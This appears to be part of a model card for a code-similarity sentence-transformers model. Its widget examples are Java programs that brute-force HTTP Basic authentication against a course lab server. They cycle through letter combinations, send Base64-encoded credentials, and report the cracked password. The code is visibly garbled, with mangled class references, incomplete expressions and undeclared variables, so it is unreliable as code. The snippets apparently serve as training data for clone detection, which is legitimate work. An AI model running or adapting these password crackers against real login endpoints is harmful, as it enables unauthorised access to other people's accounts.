|
|
--- |
|
|
tags: |
|
|
- sentence-transformers |
|
|
- sentence-similarity |
|
|
- feature-extraction |
|
|
- generated_from_trainer |
|
|
- dataset_size:33411 |
|
|
- loss:BatchAllTripletLoss |
|
|
base_model: microsoft/unixcoder-base-unimodal |
|
|
widget: |
|
|
- source_sentence: "\npackage java.httputils;\n\nimport java.util.ArrayList;\nimport\ |
|
|
\ java.util.Collection;\nimport java.util.Iterator;\nimport java.util.Observable;\n\ |
|
|
import java.util.Observer;\n\n\npublic class BruteForceThreadPool extends ThreadGroup\ |
|
|
\ implements Observer\n{\n protected String URL = \"http://localhost:8080/secret/index.html\"\ |
|
|
;\n protected int poolSize = 6;\n\n protected Collection threadList = new\ |
|
|
\ ArrayList();\n protected String fileName = \"BruteForceReport.txt\";\n \ |
|
|
\ protected boolean finished = false;\n protected String userName = \"\";\n\ |
|
|
\ \n public BruteForceThreadPool(String name)\n {\n super(name);\n\ |
|
|
\ }\n\n \n public BruteForceThreadPool(ThreadGroup parent, String name)\n\ |
|
|
\ {\n super(parent, name);\n }\n\n \n public synchronized void\ |
|
|
\ update(Observable o, Object arg)\n {\n \n System.out.println(\"\ |
|
|
Update method called the observer.\");\n RunnableBruteForce rbf = (RunnableBruteForce)\ |
|
|
\ o;\n rbf.createReport();\n\n \n \n for (Iterator\ |
|
|
\ iter = threadList.iterator(); iter.hasNext();)\n {\n RunnableBruteForce\ |
|
|
\ target = (RunnableBruteForce) iter.next();\n target.setStop(true);\n\ |
|
|
\ }\n finished = true;\n }\n\n\n \n protected void start(int\ |
|
|
\ threads)\n {\n \n \n int load = BruteForce.letters.length\ |
|
|
\ / threads;\n int remainder = BruteForce.letters.length % threads;\n\n\ |
|
|
\ \n for (int i = 0, end = ( + load);\n end < BruteForce.letters.length;\n\ |
|
|
\ i = end, end += load)\n {\n RunnableBruteForce\ |
|
|
\ runnable = new RunnableBruteForce();\n runnable.setURL(getURL());\n\ |
|
|
\ runnable.setRangeStart();\n runnable.setUserName(userName);\n\ |
|
|
\ \n runnable.setRangeEnd(\n end + load >\ |
|
|
\ BruteForce.letters.length ?\n BruteForce.letters.length :\n \ |
|
|
\ end);\n\n runnable.addObserver(this);\n \ |
|
|
\ runnable.setFileName(getFileName());\n \n threadList.add(runnable);\n\ |
|
|
\ }\n\n \n for (Iterator iter = threadList.iterator(); iter.hasNext();)\n\ |
|
|
\ {\n RunnableBruteForce target = (RunnableBruteForce) iter.next();\n\ |
|
|
\ new Thread(target).start();\n }\n\n }\n\n public static\ |
|
|
\ void main(String[] args)\n {\n BruteForceThreadPool pool = new BruteForceThreadPool(\"\ |
|
|
BruteForceThreadGroup\");\n\n if (args.length < 4)\n {\n \ |
|
|
\ pool.printUsage();\n return;\n }\n pool.setURL(args[0]);\n\ |
|
|
\ pool.userName = args[1];\n pool.setFileName(args[2]);\n\n \ |
|
|
\ pool.get(Integer.parseInt(args[3]));\n while (true)\n {\n \ |
|
|
\ try\n {\n Thread.currentThread().sleep(100);\n\ |
|
|
\ if (pool.finished)\n {\n break;\n\ |
|
|
\ }\n }\n catch (InterruptedException e)\n\ |
|
|
\ {\n e.printStackTrace();\n }\n }\n\ |
|
|
\n System.exit(0);\n }\n\n\n public String printUsage()\n {\n\ |
|
|
\ StringBuffer s = new StringBuffer();\n\n s.append(\"** BruteForceThreadPool\ |
|
|
\ proper usage **\\n\\n\");\n s.append(\n \"java ..httputils.BruteForceThreadPool\ |
|
|
\ <URL> <UserName> <OutputFile> < Of Threads = 6>\\n\\n\");\n\n return\ |
|
|
\ s.toString();\n }\n\n \n public Collection getThreadList()\n {\n\ |
|
|
\ return threadList;\n }\n\n \n public void setThreadList(Collection\ |
|
|
\ collection)\n {\n threadList = collection;\n }\n\n\n \n public\ |
|
|
\ String getFileName()\n {\n return fileName;\n }\n\n \n public\ |
|
|
\ void setFileName(String string)\n {\n fileName = string;\n }\n\n\ |
|
|
\ \n public String getURL()\n {\n return URL;\n }\n\n \n\ |
|
|
\ public void setURL(String string)\n {\n URL = string;\n }\n\n\ |
|
|
\ \n public int getPoolSize()\n {\n return poolSize;\n }\n\n\ |
|
|
\ \n public void setPoolSize(int i)\n {\n poolSize = i;\n }\n\ |
|
|
\n}\n" |
|
|
sentences: |
|
|
- "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport\ |
|
|
\ java.io.*;\npublic class BruteForce {\n \n \n \n String passwordLetters[]\ |
|
|
\ ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\ |
|
|
m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\ |
|
|
z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\ |
|
|
M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\ |
|
|
Z\"};\n String password=\" \";\n static int counter;\n static int noOfAttempts;\n\ |
|
|
\ static String userName=\"\";\n HttpURLConnection u;\n boolean threadF,threadM;\n\ |
|
|
\ String passBase64;\n \n PasswordCrackThreadF passwordCrackThreadF;\n PasswordCrackThreadM\ |
|
|
\ passwordCrackThreadM;\n URL url;\n \n \n public BruteForce() {\n breakPassword();\n\ |
|
|
\ }\n\n public static void main (String args[]) {\n new BruteForce();\n\ |
|
|
\ }\n \n \n \n private void breakPassword() {\n int j;\n \n breakOneLetterPassword();\n\ |
|
|
\ \n breakTwoLetterPassword();\n \n \n \n\n passwordCrackThreadF\ |
|
|
\ = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n\ |
|
|
\ \n passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n\ |
|
|
\ \n passwordCrackThreadF.print();\n passwordCrackThreadM.print();\n\ |
|
|
\ }\n \n \n private void breakOneLetterPassword() { \n MyHttpURLConnection\ |
|
|
\ httpURLConnection;\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
);\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ |
|
|
\ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\ |
|
|
Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\ |
|
|
\ \n loop: for (int i=0;i<52;i++) {\n password\ |
|
|
\ = passwordLetters[i];\n\t\t \n\t\t password =\":\"+ password;\n \ |
|
|
\ try {\n \n\t \t u= (HttpURLConnection)url.openConnection();\n\ |
|
|
\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ |
|
|
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\ |
|
|
\t\t u.connect();\t\n\t\t noOfAttempts++; \n\t\t if (u.getContentLength()\ |
|
|
\ != 0) {\n\t\t \n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK\ |
|
|
\ ) {\n\t\t \n\t System.out.println (\"Your User\ |
|
|
\ Name : Password is \"+password);\n\t\t\t\t System.out.println(\" \");\n\t\ |
|
|
\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\ |
|
|
\t\t\t \n\t\t\t System.exit(0);\n \n\t \ |
|
|
\ }\n\t\t }\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\ |
|
|
\ \n } catch ( NoRouteToHostException nr)\ |
|
|
\ {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\ |
|
|
\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t\ |
|
|
\ } catch (IOException io) {io.printStackTrace();\n\t\t \n\t \ |
|
|
\ } finally {u.disconnect();\n\t }\n } \n }\n \n \ |
|
|
\ \n private void breakTwoLetterPassword() { \n MyHttpURLConnection \ |
|
|
\ httpURLConnection; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
);\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ |
|
|
\ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\ |
|
|
Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\ |
|
|
\n \n loop: for (int i=0;i<52;i++) {\n for (int j=0;j<52;j++)\ |
|
|
\ {\n password = passwordLetters[i]+passwordLetters[j];\n\t\t\ |
|
|
\ \n\t\t password =\":\"+ password;\n\t\t \n\t\t \n\t \n \ |
|
|
\ try {\n\t\t u= (HttpURLConnection)url.openConnection();\n\ |
|
|
\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ |
|
|
\ u.setRequestProperty(\"Authorization\", \"\ |
|
|
\ \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n \ |
|
|
\ \t if (u.getContentLength() != 0) {\n\t\t if (u.getResponseCode()==\ |
|
|
\ HttpURLConnection.HTTP_OK ) {\n\t System.out.println\ |
|
|
\ (\"Your User Name : Password is \"+password); \n\t\t\t System.out.println(\"\ |
|
|
\ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\ |
|
|
\t\t\t \n\t\t\t System.exit(0);\n\t }\n\t\t }\n\ |
|
|
\t\t \n\t\t\n\t } catch (ProtocolException px) {px.printStackTrace();\n\ |
|
|
\ } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\ |
|
|
\t } catch (BindException e){e.printStackTrace();\n\t } catch\ |
|
|
\ (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch\ |
|
|
\ (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\ |
|
|
\t }\n } \n }\n\n\n }\n}\n\nclass PasswordCrackThreadF\ |
|
|
\ extends Thread {\n \n \n \n private String passwordLetters[] ;\n \ |
|
|
\ private String password=\" \";\n private static String userName=\"\";\n\ |
|
|
\ private MyHttpURLConnection httpURLConnection;\n private URL url;\n\ |
|
|
\ \n BruteForce bruteForce;\n int count; \n String passBase64;\n \ |
|
|
\ private HttpURLConnection u;\n \n int start,stop;\n \n static boolean\ |
|
|
\ found;\n \n PasswordCrackThreadF(int start,int stop,int counter,String[]\n\ |
|
|
\ passwordLetters,String userName,BruteForce\ |
|
|
\ bruteForce) {\n this.start = start;\n this.stop = stop;\n \ |
|
|
\ this.passwordLetters =passwordLetters;\n this.userName=userName;\n \ |
|
|
\ count =counter;\n this.bruteForce=bruteForce; \n bruteForce.threadF=true;\n\ |
|
|
\t\n \n passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n\ |
|
|
\ try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
);\n\t \n\n\t u = (HttpURLConnection)url.openConnection();\n \ |
|
|
\ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\ |
|
|
\ \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n\ |
|
|
\ public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++)\ |
|
|
\ {\n for (int j=0;j<52;j++) {\n for (int\ |
|
|
\ k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\ |
|
|
\ \t password =\":\"+ password;\n\t\t\t \n\t\t\t\n\t\t\t\n\t\ |
|
|
\t\t while (!(bruteForce.threadF)) {\n\t\t\t try { wait(1); }\n\t\t\t \ |
|
|
\ catch (InterruptedException e){}\n\t\t\t } \n\t\t\t \n\t\t\t if (found)\n\ |
|
|
\t\t\t System.exit(0);\n try { \n\t\t\t \ |
|
|
\ u = (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new\ |
|
|
\ url.misc.BASE64Encoder().encode(password.getBytes());\n \ |
|
|
\ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\ |
|
|
\t \n\n\t\t\t\n u.connect();\n\t\t\t\t\n\ |
|
|
\t\t BruteForce.noOfAttempts++;\n\n\t\t if (u.getContentLength()\ |
|
|
\ != 0) {\n\n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\ |
|
|
\ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\ |
|
|
\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User\ |
|
|
\ Name : Password is \"+password+ \n\t\t \" \ |
|
|
\ \"+ \" Found by Thread \"+count);\n\t\t\t\t\tSystem.out.println(\" \");\n\ |
|
|
\t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n\ |
|
|
\t\t\t\t \t \n \t\t System.exit(0);\n\n\t \ |
|
|
\ }\n\t\t }\n\t\t \n\t\t \t\t \n\t \ |
|
|
\ } catch (ProtocolException px) {px.printStackTrace();\n \ |
|
|
\ } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n\ |
|
|
\ } catch (BindException e){e.printStackTrace();\n\t \ |
|
|
\ } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\ |
|
|
\t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\ |
|
|
\t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=false;\n\ |
|
|
\t\t\t bruteForce.threadM=true;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n \ |
|
|
\ }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n\ |
|
|
}\n\n\nclass PasswordCrackThreadM extends Thread {\n \n \n \n private\ |
|
|
\ String passwordLetters[] ;\n private String password=\" \";\n private static\ |
|
|
\ String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n\ |
|
|
\ private URL url;\n String passBase64;\n private URLAuthenticator urlAuthenticator\ |
|
|
\ = new URLAuthenticator(userName);\n BruteForce bruteForce;\n int count;\ |
|
|
\ \n private HttpURLConnection u;\n \n int start,stop;\n \n static\ |
|
|
\ boolean found;\n \n \n \n PasswordCrackThreadM(int start,int stop,int\ |
|
|
\ counter,String[]\n passwordLetters,String\ |
|
|
\ userName,BruteForce bruteForce) {\n this.start = start;\n this.stop\ |
|
|
\ = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n\ |
|
|
\ count =counter;\n this.bruteForce=bruteForce; \n try {\n\t\ |
|
|
\ \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
|
);\n\t \n u = (HttpURLConnection)url.openConnection();\n\t \ |
|
|
\ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n \ |
|
|
\ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\ |
|
|
\n\t \n\n\t \n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\ |
|
|
\n }\n \n public synchronized void run() {\n \n outer : for (int\ |
|
|
\ i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n \ |
|
|
\ for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\ |
|
|
\ \t password=\":\"+password;\n\t\t\t\n\t \n\ |
|
|
\t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadM)) {\n\t\t\t try { wait(1);\ |
|
|
\ }\n\t\t\t catch (InterruptedException e){}\n\t\t\t }\n\t\t\t \n\t\ |
|
|
\t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n \ |
|
|
\ try { u = (HttpURLConnection)url.openConnection();\n\t\t\t \n \ |
|
|
\ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\ |
|
|
\ u.setRequestProperty(\"Authorization\", \"\ |
|
|
\ \" + passBase64);\n\t\t\t \n\n\t\t\t\n \ |
|
|
\ u.connect();\n BruteForce.noOfAttempts++;\n\ |
|
|
\t\t \n\t\t if (u.getContentLength() != 0) {\n\t\ |
|
|
\t\t \n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\ |
|
|
\ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\ |
|
|
\t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your\ |
|
|
\ User Name : Password is \"+password+ \n\t\t \ |
|
|
\ \" \"+ \" Found by Thread \"+count);\n\t\t\t\t \t \n\t\t\t\t\t \n\t\ |
|
|
\t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\"\ |
|
|
\ of Attempts / Requests \"+ BruteForce.noOfAttempts);\n \t\t \ |
|
|
\ System.exit(0);\n\n\t }\n\t\t \ |
|
|
\ }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException\ |
|
|
\ px) {px.printStackTrace();\n } catch ( NoRouteToHostException\ |
|
|
\ nr){k--; \n\t\t\t nr.printStackTrace();\n } catch\ |
|
|
\ (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException\ |
|
|
\ e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\ |
|
|
\t\t\t \n\t } finally {u.disconnect();\n\t }\n\ |
|
|
\t\t\t bruteForce.threadF=true;\n\n\t\t\t \n\t\t\t bruteForce.threadM=false;\n\ |
|
|
\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n\ |
|
|
\ System.out.println(\"End\");\n }\n }\n}\n\n\n\n\n\n\n\nclass URLAuthenticator\ |
|
|
\ extends Authenticator {\n private String uName;\n String passwd;\n static\ |
|
|
\ char[] password;\n public URLAuthenticator(String uName) {\n\n this.uName\ |
|
|
\ = uName;\n }\n\n public void setPassword(String passwd) {\n\n\t this.passwd=passwd;\n\ |
|
|
\t password=passwd.toCharArray();\n\n }\n \n public PasswordAuthentication\ |
|
|
\ getPasswordAuthentication() {\n\n\t\n \t\n\t\n\treturn new PasswordAuthentication(uName,password);\n\ |
|
|
\ }\n\n}\n\n\n\n\n \n\nclass MyHttpURLConnection extends HttpURLConnection \ |
|
|
\ {\n public MyHttpURLConnection(URL url) {\n super(url);\n }\n \ |
|
|
\ public void disconnect() {\n }\n\n public boolean usingProxy() {\n \ |
|
|
\ return true;\n }\n public void connect() {\n }\n\n}\n\n" |
|
|
- "\nimport java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\n\ |
|
|
\n\n\npublic class BruteForce \n{\n \n \n\ |
|
|
\ \n private int consonantUpperBound = CrackingConstants.consonantUpperBound;\n\ |
|
|
\ private int consonantLowerBound = CrackingConstants.consonantLowerBound;\n\ |
|
|
\ private int vowelUpperBound = CrackingConstants.vowelUpperBound;\n private\ |
|
|
\ int vowelLowerBound = CrackingConstants.vowelLowerBound;\n \n \n \n\ |
|
|
\ \n private int verbose = CrackingConstants.quietMode;\n private int\ |
|
|
\ scanType = CrackingConstants.casedScan;\n\n private int passwordsTried =\ |
|
|
\ 0;\n \n\t\n\t\n\tpublic static void main(String args[])\n\t{\n\t\t int tStart;\n\ |
|
|
\t\t int tFinish;\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\ |
|
|
\ DateFormat.FULL);\n\t \n\t BruteForce pwForcer = new BruteForce();\n\ |
|
|
\n\t if(args.length > 0)\n\t {\n\t for(int i = 0; i < args.length;\ |
|
|
\ i++)\n\t {\n \t\tif((args[i].indexOf(\"-h\") > -1) || (args[i].indexOf(\"\ |
|
|
-H\") > -1))\n \t\t {\n \t\t\tSystem.out.println(\"\\n-s -S\\\ |
|
|
tonly tests lower passwords.\");\n \t\t\tSystem.out.println(\"\\n-v\\\ |
|
|
tprints the patterns as tried.\");\n \t\t\tSystem.out.println(\"-V\\\ |
|
|
tprints out the patterns and the passwords as generated. \\n\\tThis option\ |
|
|
\ slows the program considerably.\\n\");\n \t\t\treturn;\n \t\t\ |
|
|
\ }\t\n \t\telse if(args[i].indexOf(\"-v\") > -1) \n \t\t \ |
|
|
\ pwForcer.verbose = CrackingConstants.verboseMode1;\n \t\telse if(args[i].indexOf(\"\ |
|
|
-V\") > -1)\n \t\t pwForcer.verbose = CrackingConstants.verboseMode2;\n\ |
|
|
\ \t\telse if((args[i].indexOf(\"-s\") > -1) || (args[i].indexOf(\"-S\"\ |
|
|
) > -1))\n \t\t pwForcer.scanType = CrackingConstants.simpleScan;\n\t\ |
|
|
\t }\n\t }\n\n \n\t System.out.println(\"\\n\\n********************************\\\ |
|
|
n\");\n\t\tSystem.out.println(\"Starting brute force run at \" + \n\t\t longTimestamp.format(new\ |
|
|
\ Date()));\n\t\tif(args.length > 0)\n\t\t{\n\t\t\tString arguments = \"\";\n\t\ |
|
|
\t\tfor( i =0; i < args.length; i++)\n\t\t\t\targuments += args[i] + \" \";\n\t\ |
|
|
\t\tSystem.out.println(\"\\nOptions: \" + arguments + \"\\n\");\n\t\t}\n\t\tif(pwForcer.scanType\ |
|
|
\ == CrackingConstants.simpleScan)\n \t System.out.println(\"Only lower\ |
|
|
\ passwords tried.\");\n \telse\n \t System.out.println(\"Both lower\ |
|
|
\ and upper passwords tried.\");\n\t System.out.println(\"\\n********************************\\\ |
|
|
n\");\n\n\t tStart = System.currentTimeMillis();\n\t pwForcer.run();\n\t\ |
|
|
\ tFinish = System.currentTimeMillis();\n\t \n if (pwForcer.scanType\ |
|
|
\ == CrackingConstants.casedScan)\n {\n\t \n \t \n\t \ |
|
|
\ \n\t \n\t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried\ |
|
|
\ + \" passwords were generated (out of a possible \" + (26 * 26 * 26 * 8) + \"\ |
|
|
)\");\n\t System.out.println (\"That is \" + pwForcer.passwordsTried/8\ |
|
|
\ + \" unique three letter combinations were tried (out of a possible \" + (26\ |
|
|
\ * 26 * 26) + \")\");\n }\n else\n {\n \t System.out.println\ |
|
|
\ (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of\ |
|
|
\ a possible \" + (26 * 26 * 26) + \")\\n\");\n }\n \n\t \n\t\ |
|
|
\ System.out.println(\"\\n********************************\\n\");\n\t\tSystem.out.println(\"\ |
|
|
Finished brute force run at \" + \n\t\t longTimestamp.format(new Date()));\n\ |
|
|
\t\tSystem.out.println(\"Time taken: \" + ((tFinish - tStart)/1000) + \" seconds\"\ |
|
|
);\n\t System.out.println(\"\\n********************************\");\n\t} \ |
|
|
\ \n\n\t\n public BruteForce()\n {\n } \n\n\t\n private void run()\n\ |
|
|
\ {\n \n \n leftIndex = 0;\n midIndex = 0;\n\ |
|
|
\ rightIndex = 0;\n \n \n\t\t\n \n \tif(verbose\ |
|
|
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying stutters\ |
|
|
\ (AAA, aaa, etc.)\");\n for( i = vowelLowerBound; i <= consonantUpperBound;\ |
|
|
\ i++)\n {\n leftIndex = i;\n midIndex = i;\n \ |
|
|
\ rightIndex = i;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\ |
|
|
\ return;\n }\n \n \n \tif(verbose >\ |
|
|
\ CrackingConstants.quietMode)\n \t System.out.println(\"Trying consonant-vowel-consonant\ |
|
|
\ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\ |
|
|
\ leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound;\ |
|
|
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\ |
|
|
\ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\ |
|
|
\ midIndex, rightIndex))\n return;\n \n \ |
|
|
\ \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\ |
|
|
Trying consonant-vowel-vowel patterns.\");\n for(leftIndex = consonantLowerBound;\ |
|
|
\ leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\ |
|
|
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\ |
|
|
\ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \ |
|
|
\ if(tryLogin(leftIndex, midIndex, rightIndex))\n \ |
|
|
\ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\ |
|
|
\ \t System.out.println(\"Trying vowel-consonant-vowel patterns.\");\n \ |
|
|
\ for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n\ |
|
|
\ for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\ |
|
|
\ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\ |
|
|
\ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\ |
|
|
\ rightIndex))\n return;\n \n \n \tif(verbose\ |
|
|
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying vowel-consonant-consonant\ |
|
|
\ patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound;\ |
|
|
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\ |
|
|
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\ |
|
|
\ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\ |
|
|
\ midIndex, rightIndex))\n return;\n \n \n \ |
|
|
\ \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\ |
|
|
Trying vowel-vowel-consonant patterns.\");\n for(leftIndex = vowelLowerBound;\ |
|
|
\ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\ |
|
|
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\ |
|
|
\ consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n \ |
|
|
\ if(tryLogin(leftIndex, midIndex, rightIndex))\n \ |
|
|
\ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\ |
|
|
\ \t System.out.println(\"Trying consonant-consonant-vowel patterns.\");\n\ |
|
|
\ for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\ |
|
|
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\ |
|
|
\ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\ |
|
|
\ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\ |
|
|
\ rightIndex))\n return;\n \n \n \t\ |
|
|
if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\ |
|
|
\ remaining vowel-vowel-vowel patterns.\");\n for(leftIndex = vowelLowerBound;\ |
|
|
\ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\ |
|
|
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\ |
|
|
\ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \ |
|
|
\ if((leftIndex == midIndex) && (leftIndex == rightIndex))\n \ |
|
|
\ {\n \n }\n \ |
|
|
\ else\n {\n if(tryLogin(leftIndex,\ |
|
|
\ midIndex, rightIndex))\n return;\n \ |
|
|
\ }\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\ |
|
|
\ \t System.out.println(\"Trying remaining consonant-consonant-consonant\ |
|
|
\ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\ |
|
|
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\ |
|
|
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\ |
|
|
\ <= consonantUpperBound; rightIndex++)\n if((leftIndex ==\ |
|
|
\ midIndex) && (leftIndex == rightIndex))\n {\n \ |
|
|
\ \n }\n else\n \ |
|
|
\ {\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\ |
|
|
\ return;\n }\n \n \t\ |
|
|
if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\ |
|
|
\ monographs (A, a, etc.)\");\n for ( i = 0; i <= consonantUpperBound;\ |
|
|
\ i++)\n {\n leftIndex = i;\n midIndex = -1;\n \ |
|
|
\ rightIndex = -1;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\ |
|
|
\ return;\n }\n \n \n \n \tif(verbose\ |
|
|
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying bigraphs\ |
|
|
\ (AA, aa, etc.)\");\n for( i = 0; i <= consonantUpperBound; i++)\n \ |
|
|
\ {\n \tfor( j = 0; j <= consonantUpperBound; j++)\n \t{\n \ |
|
|
\ \tleftIndex = i;\n \tmidIndex = j;\n \t rightIndex\ |
|
|
\ = -1;\n \t if(tryLogin(leftIndex, midIndex, rightIndex))\n\t \ |
|
|
\ return;\n }\n }\n \n return;\n \ |
|
|
\ } \n\n\t\n private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)\n\ |
|
|
\ {\n \n LoginAttempt login = new LoginAttempt();\n LoginAttemptResults\ |
|
|
\ results = new LoginAttemptResults();\n\n \n CasePasswords casedPasswords\ |
|
|
\ = new CasePasswords(verbose);\n\n \n \n String tail = \"\ |
|
|
\";\n\n results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex,\ |
|
|
\ midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars,\ |
|
|
\ scanType), passwordsTried);\n passwordsTried = results.getPasswordsTried();\n\ |
|
|
\ return results.getSuccess();\n }\n \n} \n" |
|
|
- "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\ |
|
|
\ = 0;\n private int startTime;\n private int totalTime = 0;\n \ |
|
|
\ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\ |
|
|
\ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \ |
|
|
\ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\ |
|
|
\ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\ |
|
